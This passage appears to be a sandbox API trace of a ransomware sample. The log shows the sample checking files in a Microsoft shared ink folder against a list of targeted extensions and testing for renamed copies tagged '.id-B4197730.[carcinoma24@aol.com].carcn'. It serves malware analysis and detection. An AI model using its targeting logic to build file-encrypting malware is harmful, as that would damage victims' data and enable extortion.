lpString2="e.avi") returned -1 [0292.418] lstrlenW (lpString=".ppt") returned 4 [0292.418] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0292.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0292.418] lstrlenW (lpString=".zip") returned 4 [0292.418] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0292.418] lstrlenW (lpString=".rar") returned 4 [0292.418] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0292.418] lstrlenW (lpString=".bz2") returned 4 [0292.418] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0292.418] lstrlenW (lpString=".7z") returned 3 [0292.418] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0292.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0292.418] lstrlenW (lpString=".dbf") returned 4 [0292.418] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0292.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0292.418] lstrlenW (lpString=".1cd") returned 4 [0292.418] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0292.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0292.418] lstrlenW (lpString=".jpg") returned 4 [0292.418] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0292.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0292.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0292.418] lstrlenW (lpString=".doc") returned 4 [0292.418] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0292.418] lstrlenW (lpString=".docx") returned 5 [0292.418] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0292.418] lstrlenW (lpString=".pdf") returned 4 [0292.418] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0292.418] lstrlenW (lpString=".xls") returned 4 [0292.418] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0292.418] lstrlenW (lpString=".xlsx") returned 5 [0292.419] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0292.419] lstrlenW (lpString=".ppt") returned 4 [0292.419] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0292.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0292.419] lstrlenW (lpString=".zip") returned 4 [0292.419] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0292.419] lstrlenW (lpString=".rar") returned 4 [0292.419] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0292.419] lstrlenW (lpString=".bz2") returned 4 [0292.419] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0292.419] lstrlenW (lpString=".7z") returned 3 [0292.419] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0292.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0292.419] lstrlenW (lpString=".dbf") returned 4 [0292.419] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0292.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0292.419] lstrlenW (lpString=".1cd") returned 4 [0292.419] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0292.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0292.419] lstrlenW (lpString=".jpg") returned 4 [0292.419] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0292.419] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0292.419] lstrlenW (lpString="ipsfin.xml") returned 10 [0292.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0292.420] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=2658) returned 1 [0292.420] CloseHandle (hObject=0x334) returned 1 [0292.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0292.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0292.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0292.421] lstrlenW (lpString=".doc") returned 4 [0292.421] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0292.421] lstrlenW (lpString=".docx") returned 5 [0292.421] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0292.421] lstrlenW (lpString=".pdf") returned 4 [0292.421] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0292.421] lstrlenW (lpString=".xls") returned 4 [0292.421] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0292.421] lstrlenW (lpString=".xlsx") returned 5 [0292.421] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0292.421] lstrlenW (lpString=".ppt") returned 4 [0292.421] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0292.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0292.421] lstrlenW (lpString=".zip") returned 4 [0292.421] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0292.421] lstrlenW (lpString=".rar") returned 4 [0292.421] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0292.421] lstrlenW (lpString=".bz2") returned 4 [0292.421] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0292.421] lstrlenW (lpString=".7z") returned 3 [0292.421] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0292.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0292.421] lstrlenW (lpString=".dbf") returned 4 [0292.421] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0292.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0292.421] lstrlenW (lpString=".1cd") returned 4 [0292.421] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0292.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0292.422] lstrlenW (lpString=".jpg") returned 4 [0292.422] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0292.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0292.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0292.422] lstrlenW (lpString=".doc") returned 4 [0292.422] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0292.422] lstrlenW (lpString=".docx") returned 5 [0292.422] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0292.422] lstrlenW (lpString=".pdf") returned 4 [0292.422] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0292.422] lstrlenW (lpString=".xls") returned 4 [0292.422] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0292.422] lstrlenW (lpString=".xlsx") returned 5 [0292.422] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0292.422] lstrlenW (lpString=".ppt") returned 4 [0292.422] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0292.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0292.422] lstrlenW (lpString=".zip") returned 4 [0292.422] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0292.422] lstrlenW (lpString=".rar") returned 4 [0292.422] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0292.422] lstrlenW (lpString=".bz2") returned 4 [0292.422] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0292.422] lstrlenW (lpString=".7z") returned 3 [0292.422] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0292.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0292.422] lstrlenW (lpString=".dbf") returned 4 [0292.423] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0292.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0292.423] lstrlenW (lpString=".1cd") returned 4 [0292.423] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0292.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0292.423] lstrlenW (lpString=".jpg") returned 4 [0292.423] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0292.423] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0292.423] lstrlenW (lpString="ipsfra.xml") returned 10 [0292.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0292.424] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=2628) returned 1 [0292.424] CloseHandle (hObject=0x334) returned 1 [0292.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0292.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0292.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0292.424] lstrlenW (lpString=".doc") returned 4 [0292.425] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0292.425] lstrlenW (lpString=".docx") returned 5 [0292.425] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0292.425] lstrlenW (lpString=".pdf") returned 4 [0292.425] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0292.425] lstrlenW (lpString=".xls") returned 4 [0292.425] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0292.425] lstrlenW (lpString=".xlsx") returned 5 [0292.425] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0292.425] lstrlenW (lpString=".ppt") returned 4 [0292.425] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0292.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0292.425] lstrlenW (lpString=".zip") returned 4 [0292.425] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0292.425] lstrlenW (lpString=".rar") returned 4 [0292.425] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0292.425] lstrlenW (lpString=".bz2") returned 4 [0292.425] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0292.425] lstrlenW (lpString=".7z") returned 3 [0292.425] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0292.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0292.425] lstrlenW (lpString=".dbf") returned 4 [0292.425] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0292.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0292.425] lstrlenW (lpString=".1cd") returned 4 [0292.425] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0292.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0292.426] lstrlenW (lpString=".jpg") returned 4 [0292.426] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0292.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0292.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0292.426] lstrlenW (lpString=".doc") returned 4 [0292.426] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0292.426] lstrlenW (lpString=".docx") returned 5 [0292.426] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0292.426] lstrlenW (lpString=".pdf") returned 4 [0292.426] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0292.426] lstrlenW (lpString=".xls") returned 4 [0292.426] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0292.426] lstrlenW (lpString=".xlsx") returned 5 [0292.426] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0292.426] lstrlenW (lpString=".ppt") returned 4 [0292.426] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0292.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0292.426] lstrlenW (lpString=".zip") returned 4 [0292.426] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0292.426] lstrlenW (lpString=".rar") returned 4 [0292.426] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0292.426] lstrlenW (lpString=".bz2") returned 4 [0292.426] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0292.426] lstrlenW (lpString=".7z") returned 3 [0292.426] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0292.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0292.426] lstrlenW (lpString=".dbf") returned 4 [0292.427] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0292.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0292.427] lstrlenW (lpString=".1cd") returned 4 [0292.427] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0292.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0292.427] lstrlenW (lpString=".jpg") returned 4 [0292.427] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0292.427] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0292.427] lstrlenW (lpString="ipshe.xml") returned 9 [0292.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0292.428] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=2532) returned 1 [0292.428] CloseHandle (hObject=0x334) returned 1 [0292.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml")) returned 0x20 [0292.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0292.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0292.428] lstrlenW (lpString=".doc") returned 4 [0292.428] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0292.428] lstrlenW (lpString=".docx") returned 5 [0292.428] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0292.428] lstrlenW (lpString=".pdf") returned 4 [0292.428] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0292.428] lstrlenW (lpString=".xls") returned 4 [0292.428] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0292.428] lstrlenW (lpString=".xlsx") returned 5 [0292.428] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0292.428] lstrlenW (lpString=".ppt") returned 4 [0292.428] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0292.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0292.429] lstrlenW (lpString=".zip") returned 4 [0292.429] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0292.429] lstrlenW (lpString=".rar") returned 4 [0292.429] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0292.429] lstrlenW (lpString=".bz2") returned 4 [0292.429] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0292.429] lstrlenW (lpString=".7z") returned 3 [0292.429] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0292.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0292.429] lstrlenW (lpString=".dbf") returned 4 [0292.429] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0292.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0292.429] lstrlenW (lpString=".1cd") returned 4 [0292.429] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0292.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0292.429] lstrlenW (lpString=".jpg") returned 4 [0292.429] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0292.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0292.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0292.429] lstrlenW (lpString=".doc") returned 4 [0292.429] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0292.429] lstrlenW (lpString=".docx") returned 5 [0292.429] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0292.429] lstrlenW (lpString=".pdf") returned 4 [0292.429] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0292.429] lstrlenW (lpString=".xls") returned 4 [0292.429] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0292.429] lstrlenW (lpString=".xlsx") returned 5 [0292.430] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0292.430] lstrlenW (lpString=".ppt") returned 4 [0292.430] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0292.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0292.430] lstrlenW (lpString=".zip") returned 4 [0292.430] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0292.430] lstrlenW (lpString=".rar") returned 4 [0292.430] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0292.430] lstrlenW (lpString=".bz2") returned 4 [0292.430] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0292.430] lstrlenW (lpString=".7z") returned 3 [0292.430] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0292.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0292.430] lstrlenW (lpString=".dbf") returned 4 [0292.430] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0292.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0292.430] lstrlenW (lpString=".1cd") returned 4 [0292.430] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0292.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0292.430] lstrlenW (lpString=".jpg") returned 4 [0292.430] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0292.430] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0292.430] lstrlenW (lpString="ipshi.xml") returned 9 [0292.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0292.431] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=2518) returned 1 [0292.431] CloseHandle (hObject=0x334) returned 1 [0292.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml")) returned 0x20 [0292.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0292.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0292.432] lstrlenW (lpString=".doc") returned 4 [0292.432] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0292.432] lstrlenW (lpString=".docx") returned 5 [0292.432] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0292.432] lstrlenW (lpString=".pdf") returned 4 [0292.432] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0292.432] lstrlenW (lpString=".xls") returned 4 [0292.432] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0292.432] lstrlenW (lpString=".xlsx") returned 5 [0292.432] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0292.432] lstrlenW (lpString=".ppt") returned 4 [0292.432] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0292.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0292.432] lstrlenW (lpString=".zip") returned 4 [0292.432] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0292.432] lstrlenW (lpString=".rar") returned 4 [0292.432] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0292.432] lstrlenW (lpString=".bz2") returned 4 [0292.432] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0292.432] lstrlenW (lpString=".7z") returned 3 [0292.432] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0292.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0292.432] lstrlenW (lpString=".dbf") returned 4 [0292.432] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0292.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0292.432] lstrlenW (lpString=".1cd") returned 4 [0292.432] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0292.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0292.433] lstrlenW (lpString=".jpg") returned 4 [0292.433] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0292.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0292.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0292.433] lstrlenW (lpString=".doc") returned 4 [0292.433] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0292.433] lstrlenW (lpString=".docx") returned 5 [0292.433] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0292.433] lstrlenW (lpString=".pdf") returned 4 [0292.433] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0292.433] lstrlenW (lpString=".xls") returned 4 [0292.433] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0292.433] lstrlenW (lpString=".xlsx") returned 5 [0292.433] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0292.433] lstrlenW (lpString=".ppt") returned 4 [0292.433] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0292.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0292.433] lstrlenW (lpString=".zip") returned 4 [0292.433] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0292.433] lstrlenW (lpString=".rar") returned 4 [0292.433] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0292.433] lstrlenW (lpString=".bz2") returned 4 [0292.433] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0292.433] lstrlenW (lpString=".7z") returned 3 [0292.433] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0292.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0292.433] lstrlenW (lpString=".dbf") returned 4 [0292.434] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0292.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0292.434] lstrlenW (lpString=".1cd") returned 4 [0292.434] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0292.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0292.434] lstrlenW (lpString=".jpg") returned 4 [0292.434] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0292.434] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0292.434] lstrlenW (lpString="ipshrv.xml") returned 10 [0292.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft 